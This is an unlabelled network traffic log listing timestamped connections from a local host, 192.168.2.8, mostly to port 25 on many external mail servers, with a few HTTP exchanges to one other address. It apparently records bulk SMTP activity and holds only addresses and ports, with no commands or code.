Aug 24, 2023 19:03:36.761202097 CEST	25	50058	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.761521101 CEST	50058	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.762419939 CEST	25	50064	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:36.775166988 CEST	50068	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.777390003 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.777745008 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:36.781955004 CEST	25	50052	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.782291889 CEST	50052	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.783407927 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.783524990 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.783672094 CEST	50055	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.809128046 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:36.809303999 CEST	50066	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:36.821546078 CEST	25	50045	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.821600914 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.821624041 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.821645021 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.821666002 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.821724892 CEST	50045	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.821779966 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.822041988 CEST	50063	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.822169065 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.832386971 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.832808971 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.836379051 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.839076042 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:36.843226910 CEST	50070	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:36.847996950 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:36.848042011 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.848062038 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.848131895 CEST	50053	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:36.848473072 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:36.853996992 CEST	25	50062	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:36.854162931 CEST	50062	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:36.857567072 CEST	50071	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:36.861092091 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:36.861196995 CEST	50067	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:36.874324083 CEST	25	50057	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.874500990 CEST	25	50057	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.874692917 CEST	50057	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.878046036 CEST	25	50058	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.878446102 CEST	50058	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.880748987 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:36.890978098 CEST	25	50068	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.891130924 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.891160965 CEST	50068	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.891493082 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.891733885 CEST	50072	25	192.168.2.8	205.220.163.7
Aug 24, 2023 19:03:36.900044918 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900084972 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900152922 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900275946 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900296926 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900414944 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900705099 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900728941 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900752068 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900773048 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.900794983 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.908389091 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.908598900 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.908706903 CEST	50055	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.924422026 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:36.925616026 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.926960945 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.927561045 CEST	50063	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.928323030 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.928430080 CEST	50063	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.929414034 CEST	25	50050	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.929532051 CEST	50050	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.933207989 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.933371067 CEST	50065	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.934251070 CEST	50073	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.935853958 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.943723917 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:36.944011927 CEST	50066	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:36.952914953 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:36.953696966 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:36.954370022 CEST	25	50052	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.954590082 CEST	50052	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.958801031 CEST	50026	25	192.168.2.8	72.38.65.185
Aug 24, 2023 19:03:36.967868090 CEST	25	50070	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:36.968108892 CEST	50070	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:36.975435972 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:36.975770950 CEST	50067	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:36.979947090 CEST	25	50062	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:36.980418921 CEST	50062	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:36.995361090 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.995681047 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.999496937 CEST	25	50058	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.999804974 CEST	50058	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:37.010054111 CEST	50074	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:37.011625051 CEST	25	50068	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.014312029 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:37.014380932 CEST	50068	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:37.018215895 CEST	25	50071	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.018260956 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:37.018382072 CEST	50071	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.021028042 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.026864052 CEST	25	50004	68.232.143.80	192.168.2.8
Aug 24, 2023 19:03:37.026906967 CEST	25	50004	68.232.143.80	192.168.2.8
Aug 24, 2023 19:03:37.027066946 CEST	50004	25	192.168.2.8	68.232.143.80
Aug 24, 2023 19:03:37.028904915 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.029035091 CEST	50004	25	192.168.2.8	68.232.143.80
Aug 24, 2023 19:03:37.034769058 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.056130886 CEST	25	50057	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.056446075 CEST	50057	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.065413952 CEST	25	50072	205.220.163.7	192.168.2.8
Aug 24, 2023 19:03:37.065664053 CEST	50072	25	192.168.2.8	205.220.163.7
Aug 24, 2023 19:03:37.068114996 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.068425894 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.080285072 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.081094980 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.081305027 CEST	50066	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.082500935 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:37.082894087 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:37.087533951 CEST	25	50059	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.087899923 CEST	50059	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.088905096 CEST	25	50026	72.38.65.185	192.168.2.8
Aug 24, 2023 19:03:37.089024067 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.089497089 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.089662075 CEST	50067	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.090379000 CEST	50076	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.093827009 CEST	25	50070	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.094038010 CEST	50070	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.100481987 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:37.101361990 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:37.106821060 CEST	25	50062	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.107039928 CEST	50062	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.107709885 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.108762980 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.108985901 CEST	50065	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:37.109363079 CEST	25	50073	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.109458923 CEST	50073	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.111562967 CEST	50078	25	192.168.2.8	104.47.51.138
Aug 24, 2023 19:03:37.115731955 CEST	25	50058	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.117173910 CEST	25	50058	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.117261887 CEST	50058	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:37.130726099 CEST	25	50068	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.131148100 CEST	50068	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:37.136976004 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.137212992 CEST	50074	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:37.140574932 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.140770912 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:37.153361082 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.156734943 CEST	25	50078	104.47.51.138	192.168.2.8
Aug 24, 2023 19:03:37.156862974 CEST	50078	25	192.168.2.8	104.47.51.138
Aug 24, 2023 19:03:37.161638975 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161689997 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161689997 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161705971 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161716938 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161734104 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161761045 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161784887 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161814928 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161859035 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.161920071 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:37.161974907 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.162029982 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:37.168401957 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:37.168617010 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:37.169212103 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:37.182106018 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.182200909 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.182491064 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.190238953 CEST	25	50004	68.232.143.80	192.168.2.8
Aug 24, 2023 19:03:37.190629959 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.190653086 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.190738916 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.190805912 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.190831900 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.203310013 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.203360081 CEST	25	50078	104.47.51.138	192.168.2.8
Aug 24, 2023 19:03:37.203546047 CEST	50067	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.203666925 CEST	50078	25	192.168.2.8	104.47.51.138
Aug 24, 2023 19:03:37.204123020 CEST	50079	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.213833094 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.214886904 CEST	50080	25	192.168.2.8	67.231.154.162
Aug 24, 2023 19:03:37.215100050 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.215307951 CEST	50066	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.216342926 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.216502905 CEST	50066	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.219005108 CEST	25	50070	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.219297886 CEST	50070	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.227641106 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.231961966 CEST	25	50062	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.233129025 CEST	25	50062	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.233252048 CEST	50062	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.236219883 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:37.236520052 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:37.236680984 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:37.237921953 CEST	25	50057	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.238069057 CEST	50057	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.247709990 CEST	25	50068	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.248038054 CEST	50068	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:37.248208046 CEST	50081	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.249247074 CEST	25	50078	104.47.51.138	192.168.2.8
Aug 24, 2023 19:03:37.249504089 CEST	50078	25	192.168.2.8	104.47.51.138
Aug 24, 2023 19:03:37.252667904 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:37.256185055 CEST	25	50059	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.256221056 CEST	25	50059	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.256472111 CEST	50059	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.257579088 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:37.257913113 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:37.263653994 CEST	25	50076	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.264461040 CEST	50076	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.269928932 CEST	50082	25	192.168.2.8	104.47.70.110
Aug 24, 2023 19:03:37.273715019 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.273793936 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.274005890 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.274007082 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.279572964 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.280661106 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.280921936 CEST	50065	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:37.281655073 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.281773090 CEST	50065	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:37.295437098 CEST	25	50078	104.47.51.138	192.168.2.8
Aug 24, 2023 19:03:37.295737028 CEST	50078	25	192.168.2.8	104.47.51.138
Aug 24, 2023 19:03:37.296381950 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.296515942 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.303487062 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.304130077 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.310519934 CEST	25	50072	205.220.163.7	192.168.2.8
Aug 24, 2023 19:03:37.310810089 CEST	50072	25	192.168.2.8	205.220.163.7
Aug 24, 2023 19:03:37.310894012 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.310996056 CEST	50079	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.312716961 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.313000917 CEST	50074	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:37.318564892 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.318816900 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:37.322762012 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.322802067 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.322892904 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.322933912 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:37.326088905 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.330358028 CEST	25	50071	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.330661058 CEST	50071	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.333806038 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.333844900 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.333883047 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.333966017 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.333966970 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.334018946 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.334124088 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.334124088 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.334295988 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.334328890 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.334328890 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.340507984 CEST	25	50080	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:37.340662956 CEST	50080	25	192.168.2.8	67.231.154.162
Aug 24, 2023 19:03:37.341916084 CEST	25	50078	104.47.51.138	192.168.2.8
Aug 24, 2023 19:03:37.342170000 CEST	50078	25	192.168.2.8	104.47.51.138
Aug 24, 2023 19:03:37.344448090 CEST	25	50070	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.344661951 CEST	50070	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.347872972 CEST	25	50066	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.351974010 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:37.357832909 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.357981920 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.365202904 CEST	25	50068	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.365534067 CEST	50068	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:37.369524956 CEST	50083	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.373611927 CEST	25	50082	104.47.70.110	192.168.2.8
Aug 24, 2023 19:03:37.373728037 CEST	50082	25	192.168.2.8	104.47.70.110
Aug 24, 2023 19:03:37.380743980 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.380857944 CEST	50081	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.387164116 CEST	25	50078	104.47.51.138	192.168.2.8
Aug 24, 2023 19:03:37.388591051 CEST	25	50078	104.47.51.138	192.168.2.8
Aug 24, 2023 19:03:37.388695002 CEST	50078	25	192.168.2.8	104.47.51.138
Aug 24, 2023 19:03:37.402085066 CEST	50084	25	192.168.2.8	216.71.132.28
Aug 24, 2023 19:03:37.419655085 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.420033932 CEST	50079	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.425450087 CEST	25	50059	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.425487041 CEST	25	50059	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.425728083 CEST	50059	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.425842047 CEST	50059	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.433393955 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:37.433532000 CEST	50085	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:37.433866978 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:37.439801931 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.439830065 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.440045118 CEST	50074	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:37.448424101 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.448460102 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.449675083 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:37.451556921 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.451843977 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.461323023 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.461365938 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.461384058 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.461714029 CEST	50067	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.465581894 CEST	25	50080	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:37.465879917 CEST	50080	25	192.168.2.8	67.231.154.162
Aug 24, 2023 19:03:37.470407963 CEST	25	50070	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.470704079 CEST	50070	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.479012966 CEST	25	50082	104.47.70.110	192.168.2.8
Aug 24, 2023 19:03:37.479285002 CEST	50082	25	192.168.2.8	104.47.70.110
Aug 24, 2023 19:03:37.481061935 CEST	25	50072	205.220.163.7	192.168.2.8
Aug 24, 2023 19:03:37.481091976 CEST	25	50072	205.220.163.7	192.168.2.8
Aug 24, 2023 19:03:37.481112003 CEST	25	50068	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.481223106 CEST	50072	25	192.168.2.8	205.220.163.7
Aug 24, 2023 19:03:37.481359959 CEST	50072	25	192.168.2.8	205.220.163.7
Aug 24, 2023 19:03:37.482542038 CEST	25	50068	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:37.482804060 CEST	50068	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:37.491100073 CEST	25	50071	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.491130114 CEST	25	50071	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.491688013 CEST	50071	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.510963917 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:37.511143923 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:37.515044928 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.515409946 CEST	50081	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.516082048 CEST	25	50084	216.71.132.28	192.168.2.8
Aug 24, 2023 19:03:37.516210079 CEST	50084	25	192.168.2.8	216.71.132.28
Aug 24, 2023 19:03:37.516402006 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.516436100 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.516470909 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.516513109 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.516513109 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.516630888 CEST	50069	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.521003008 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.526526928 CEST	50086	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.526938915 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.527904987 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.528317928 CEST	50079	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.530558109 CEST	50087	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.541757107 CEST	25	50083	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.541927099 CEST	50083	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.566407919 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.566490889 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.566895962 CEST	50074	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:37.567899942 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.575083971 CEST	25	50067	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.575818062 CEST	25	50075	209.222.82.252	192.168.2.8
